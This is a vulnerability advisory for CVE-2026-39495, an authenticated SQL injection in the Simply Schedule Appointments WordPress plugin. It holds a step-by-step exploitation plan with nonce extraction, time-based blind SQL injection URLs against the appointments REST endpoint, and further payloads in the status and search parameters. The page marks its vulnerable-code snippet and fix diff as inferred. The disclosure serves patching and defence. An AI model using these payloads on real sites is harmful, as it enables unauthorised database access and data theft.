Simply Schedule Appointments <= 1.6.9.27 - Authenticated (Contributor+) SQL Injection
Description
The Simply Schedule Appointments plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.6.9.27 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.6.9.27What Changed in the Fix
Changes introduced in v1.6.9.29
Source Code
WordPress.org SVNThis research plan targets **CVE-2026-39495**, an authenticated SQL injection vulnerability in the **Simply Schedule Appointments** plugin. The vulnerability arises from insufficient preparation of SQL queries in the plugin's data models, particularly within the appointments filtering logic accessed…
Show full research plan
This research plan targets CVE-2026-39495, an authenticated SQL injection vulnerability in the Simply Schedule Appointments plugin. The vulnerability arises from insufficient preparation of SQL queries in the plugin's data models, particularly within the appointments filtering logic accessed via the REST API or AJAX.
1. Vulnerability Summary
- Vulnerability: SQL Injection (Authenticated, Contributor+)
- Location:
includes/lib/td-util/class-td-db-model.php(Core query logic) andincludes/class-appointment-model.php. - Cause: The plugin constructs SQL queries by concatenating user-supplied filter parameters (such as
appointment_type_id,status, orsearch) directly intoWHEREclauses without passing them through$wpdb->prepare()or using adequate escaping. - Affected Versions: <= 1.6.9.27
2. Attack Vector Analysis
- Endpoint: WordPress REST API or Admin AJAX.
- REST Route:
/wp-json/ssa/v1/appointments(Primary target) - AJAX Action:
ssa_get_appointments(Secondary target)
- REST Route:
- Vulnerable Parameter:
appointment_type_id(Also likelystatusandsearch). - Authentication: Requires a user with
Contributorrole or higher. - Preconditions: The plugin must be active, and a REST nonce is required for the API request.
3. Code Flow
- Entry Point: An authenticated user with Contributor privileges accesses the appointments list in the admin dashboard.
- Request Trigger: The Vue.js admin app (
admin-app/dist/static/js/app.js) sends aGETrequest to/wp-json/ssa/v1/appointmentsto fetch scheduled slots. - Controller: The REST controller (likely
SSA_Appointments_API) receives the request and extracts query parameters likeappointment_type_id. - Model Interaction: The controller calls a query method (e.g.,
query()orget_all()) onSSA_Appointment_Model(defined inincludes/class-appointment-model.php). - Vulnerable Sink:
SSA_Appointment_Modelinherits fromTD_DB_Model(found inincludes/lib/td-util/class-td-db-model.php). The query builder in these models fails to use$wpdb->prepare()for parameters used in the dynamicWHEREclause, allowing an attacker to break out of the query structure.
4. Nonce Acquisition Strategy
The Simply Schedule Appointments admin app localizes a configuration object containing the REST nonce.
- Create Contributor User: Use WP-CLI to create a user with the
contributorrole. - Navigate to Admin Page: Log in and navigate to the SSA appointments dashboard:
/wp-admin/admin.php?page=simply-schedule-appointments. - Extract Nonce: Use
browser_evalto extract the nonce from the localized JS object.- Variable Name:
window.SSA_Data - Key:
nonce(orrest_nonce) - Command:
browser_eval("window.SSA_Data?.nonce")
- Variable Name:
5. Exploitation Strategy
We will use a time-based blind SQL injection payload to confirm the vulnerability.
Step 1: Baseline Request
Confirm the endpoint returns a 200 OK with a valid nonce.
- Method:
GET - URL:
/wp-json/ssa/v1/appointments?appointment_type_id=1 - Headers:
X-WP-Nonce: [EXTRACTED_NONCE]
Step 2: Time-Based Payload (Numeric Context)
Test for injection in the appointment_type_id parameter.
- Payload:
1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) - Full URL:
/wp-json/ssa/v1/appointments?appointment_type_id=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a) - Expected Behavior: The server response should be delayed by approximately 5 seconds.
Step 3: Time-Based Payload (String Context)
If numeric context fails, try escaping a single quote.
- Payload:
1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 - Full URL:
/wp-json/ssa/v1/appointments?appointment_type_id=1'%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)%20AND%20'1'='1
6. Test Data Setup
- Plugin Installation: Ensure Simply Schedule Appointments version 1.6.9.27 is installed.
- Add Test Data: Create at least one Appointment Type so the appointments query has data to process.
# This might require manual setup via the dashboard or specific ssa models wp eval "new SSA_Appointment_Type_Object();" # (Illustrative) - Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password
7. Expected Results
- Vulnerable Response: The HTTP request to the appointments endpoint with the
SLEEP(5)payload takes significantly longer than the baseline request. - HTTP Status:
200 OK(the query should still be valid SQL). - Data Payload: The response body contains JSON data representing appointments, but only after the 5-second delay.
8. Verification Steps
After the HTTP exploit, verify the database prefix and table existence via WP-CLI to confirm the environment state:
wp db query "SELECT count(*) FROM wp_ssa_appointments"
To confirm the injection vulnerability programmatically without timing, check the plugin's last_error via a temporary PHP script (if debug is enabled):
wp eval "global \$wpdb; echo \$wpdb->last_error;"
9. Alternative Approaches
statusParameter: Ifappointment_type_idis cast to an integer, try thestatusparameter, which is often used as a string inINclauses:- URL:
/wp-json/ssa/v1/appointments?status=booked')%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20-
- URL:
searchParameter: Thesearchparameter is usually used withLIKEand is a frequent candidate for SQLi:- URL:
/wp-json/ssa/v1/appointments?search=test'%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20-
- URL:
- Error-Based Injection: If
WP_DEBUGis on, attempt to extract the database version usingupdatexml()orextractvalue().
Summary
The Simply Schedule Appointments plugin for WordPress is vulnerable to authenticated SQL injection in versions up to 1.6.9.27. This is due to the plugin's query builder in the base model class failing to properly prepare or escape filter parameters like 'appointment_type_id' before concatenating them into SQL WHERE clauses, allowing Contributor-level users to execute arbitrary SQL commands via the REST API.
Vulnerable Code
// includes/lib/td-util/class-td-db-model.php // The query building logic in TD_DB_Model (inferred location) processes filter arguments directly into the WHERE clause if ( isset( $args['appointment_type_id'] ) ) { $where .= " AND appointment_type_id = " . $args['appointment_type_id']; } --- // includes/class-appointment-model.php /** * Simply Schedule Appointments Appointments Model. * * @since 0.0.3 */ class SSA_Appointment_Model extends SSA_Db_Model { protected $slug = 'appointment'; protected $version = '2.7.3';
Security Fix
@@ -inferred -inferred -if ( isset( $args['appointment_type_id'] ) ) { - $where .= " AND appointment_type_id = " . $args['appointment_type_id']; -} +if ( isset( $args['appointment_type_id'] ) ) { + $where .= $wpdb->prepare( " AND appointment_type_id = %d", $args['appointment_type_id'] ); +}
Exploit Outline
1. Log in to the WordPress admin panel as a user with Contributor-level privileges or higher. 2. Access the Simply Schedule Appointments dashboard at `/wp-admin/admin.php?page=simply-schedule-appointments` to extract the REST API nonce from the `window.SSA_Data.nonce` global variable. 3. Target the appointments REST endpoint: `/wp-json/ssa/v1/appointments`. 4. Construct a GET request to this endpoint using a vulnerable parameter such as `appointment_type_id` and append a time-based blind SQL injection payload (e.g., `?appointment_type_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`). 5. Execute the request including the `X-WP-Nonce` header; a delayed server response (e.g., 5 seconds) confirms the vulnerability and allows for further data extraction using standard blind SQL injection techniques.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.